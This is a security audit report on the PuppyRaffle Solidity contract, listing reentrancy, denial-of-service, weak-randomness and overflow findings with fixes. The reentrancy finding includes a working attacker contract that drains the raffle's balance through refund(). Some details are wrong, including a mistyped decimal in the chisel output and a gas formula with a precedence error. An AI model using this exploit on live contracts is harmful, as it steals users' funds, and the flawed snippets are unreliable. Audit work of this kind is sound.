Protocol Audit Report

Prepared by: krisconnect

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

Call the enterRaffle function with the following parameters: address[] participants: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends. Duplicate addresses are not allowed Users are allowed to get a refund of their ticket & value if they call the refund function Every X seconds, the raffle will be able to draw a winner and be minted a random puppy The owner of the protocol will set a feeAddress to take a cut of the value, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The krisconnect team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M

		Impact		
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5
- ./src/
  └── PuppyRaffle.sol

Roles

Executive Summary

Issues found

Findings

[S-H] Reentrency attack in the "refund" function

Description:
The implemented "refund" function that is supposed to allow players to get a refund does not follow the CEI (Checks, Effects, Interactions) guidelines and therefore it is vulnerable to reentrency.

Impact:
A malicious actor can drain the funds in the contract stealing the stored currency of all the players.

Proof of Concept:
Include the following test and attacker contract into the "puppyRaffleTest.t.sol": \

▶ Details

```
function testReentrance() public playersEntered {
        ReentrancyAttacker attacker = new
ReentrancyAttacker(address(puppyRaffle));
        vm.deal(address(attacker), 1e18);
        uint256 startingAttackerBalance = address(attacker).balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        console.log("The starting attacker balance is {}",
startingAttackerBalance);
        console.log("The starting contract balance is {}",
```

```
startingContractBalance);

        attacker.attack();

        uint256 endingAttackerBalance = address(attacker).balance;
        uint256 endingContractBalance = address(puppyRaffle).balance;
        assertEq(endingAttackerBalance, startingAttackerBalance +
startingContractBalance);
        assertEq(endingContractBalance, 0);
        console.log("The ending attacker balance is {}", endingAttackerBalance);
        console.log("The ending contract balance is {}", endingContractBalance);
    }

    contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(address _puppyRaffle) {
        puppyRaffle = PuppyRaffle(_puppyRaffle);
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }

    fallback() external payable {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }
}
```

Recommended Mitigation:

1. Follow the CEI recommendations and make sure the Effect happens before the Interaction. One way of doing this would be to move line 103 above line 101 in the code.
2. Use the Reentrency Guard

[S-M] Denial of Service (DoS) vulnerability in iteration logic implementation

Description:

The `Enter Raffle` function is implemented with double "for" loops but without any limitation as to how many users can enter the raffle. This combined with entry fee increasing with each consecutive player can lead to a case where after the nth player the gas fee will be extremely high.

Impact:

A malicious actor can create hundreds or thousands of users and enter with each of them in an automated manner, increasing the gas price each time, denying the service for others.

Proof of Concept:

Add the code snippet below to the "puppyRaffleTest.t.sol" file and run the tests.

▶ Details

```
function testDoS() public {

        vm.txGasPrice(1);
        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);
        for(uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }

        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);
        uint256 gasEnd = gasleft();

        uint256 gasUsedFirst = gasStart - gasEnd * tx.gasprice;
        console.log("Gas used by the first 100 players {}", gasUsedFirst);

        address[] memory playersTwo = new address[](playersNum);
        for(uint256 i = 0; i < playersNum; i++) {
            playersTwo[i] = address(i+playersNum);
        }

        uint256 gasStartTwo = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersTwo.length}
(playersTwo);
        uint256 gasEndTwo = gasleft();

        uint256 gasUsedSecond = gasStartTwo - gasEndTwo * tx.gasprice;
        console.log("Gas used by the second 100 players {}", gasUsedSecond);
    }
```

Recommended Mitigation: \

1. Consider removing the check for duplicates. Regardless of implementation, the check wouldn't be able to verify the identity of the wallet owner and because creating a wallet is a zero cost process, anyone can create any number of wallets.
2. If that is not an option, a mapping could be created that maps the addresses of the players to a uint256 value to something like an "ID", then the check is done iterating through the array of these integers, requireing the mapped IDs to be unique. This way the protocol would only select from new players when the selectWinner() function is called (also incrementing the ID after each call).
3. Alternatively use OpenZeppelin's Enumerable Set

[S-M] Weak randomness

Description:
The protol uses a random number generation method that has been proven to be exploitable in the functions `selectWinner`.

Impact:
A malicious actor can influence their chances of getting more valueable NFTs based on rarity.

Proof of Concept:
According to the slither documentation, find the example below:

▶ Details

```
contract Game {

    uint reward_determining_number;

    function guessing() external{
      reward_determining_number = uint256(block.blockhash(10000)) % 10;
    }
}
```

Recommended Mitigation: Use chainlink VRF or Commit Reveal Scheme.

[S-M] Integer overflow and unsafe wrapping in `TotalFees`

Description:
Within the winner selector function on line 134, the totalFees variable can hold integer values without issues if the number of players is relatively low. Once the number of players increases, the stored value increments above what the buffer is capable of holding and switches back to zero. Additionally, the uint64 cannot hold larger values.

Impact:
Getting the fees wrong can severly impact the protocol's internal account mechanisms and can provide incorrect data for calculations.

Proof of Concept:
Add the code snippet below to the "puppyRaffleTest.t.sol" file and run the tests.

▶ Details

```
    function testIntegerOverflow() public playersEntered {

        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        console.log("Starting total fee is {}", startingTotalFees);
```

```
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);


        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("Eventhough 89 players have entered the total ending fee is
{}", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the require check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players active!");
        puppyRaffle.withdrawFees();
    }
```

The unsafe wrapping can be confirmed using chisel:

1. Find out the maximum value a uint256 can hold.
2. Find out what is the value of 20 ether.
3. Cast the value of 20 ether into a uint64.
4. The value shows around 1 ether instead of the expected 20 ether. The wrapping issue occurs at 20 ether:

```
➜ type(uint64).max
Type: uint64
├ Hex: 0xffffffffffffffff
├ Hex (full word): 0x000000000000000000000000000000000000000000000000ffffffffffffffff
└ Decimal: 18446744073709551615
➜ uint64 u64 = type(uint64).max;
➜ u64
Type: uint64
├ Hex: 0xffffffffffffffff
├ Hex (full word): 0x000000000000000000000000000000000000000000000000ffffffffffffffff
└ Decimal: 18446744073709551615
➜ uint256 u256 = 20e18;
➜ u256
Type: uint256
├ Hex: 0x0000000000000000000000000000000000000000000000001158e460913d00000
├ Hex (full word): 0x0000000000000000000000000000000000000000000000001158e460913d00000
└ Decimal: 200000000000000000000
➜ u64 = uint64(u256);
➜ u64
Type: uint64
├ Hex: 0x158e460913d00000
├ Hex (full word): 0x000000000000000000000000000000000000000000000000158e460913d00000
└ Decimal: 1553255926290448384
```

Recommended Mitigation:
Use newer version of solidity. Version > 0.8.0.

Informational

Gas

[S-L] Function is not used anywhere in the contract

Description: The function `_isActivePlayer()` is declared as a function but it is not used anywhere else in the code base.

Impact: The unused function still takes computational power and hence increases the gas cost of the protocol

Proof of Concept: N/a.

Recommended Mitigation: Delete the function or implement it.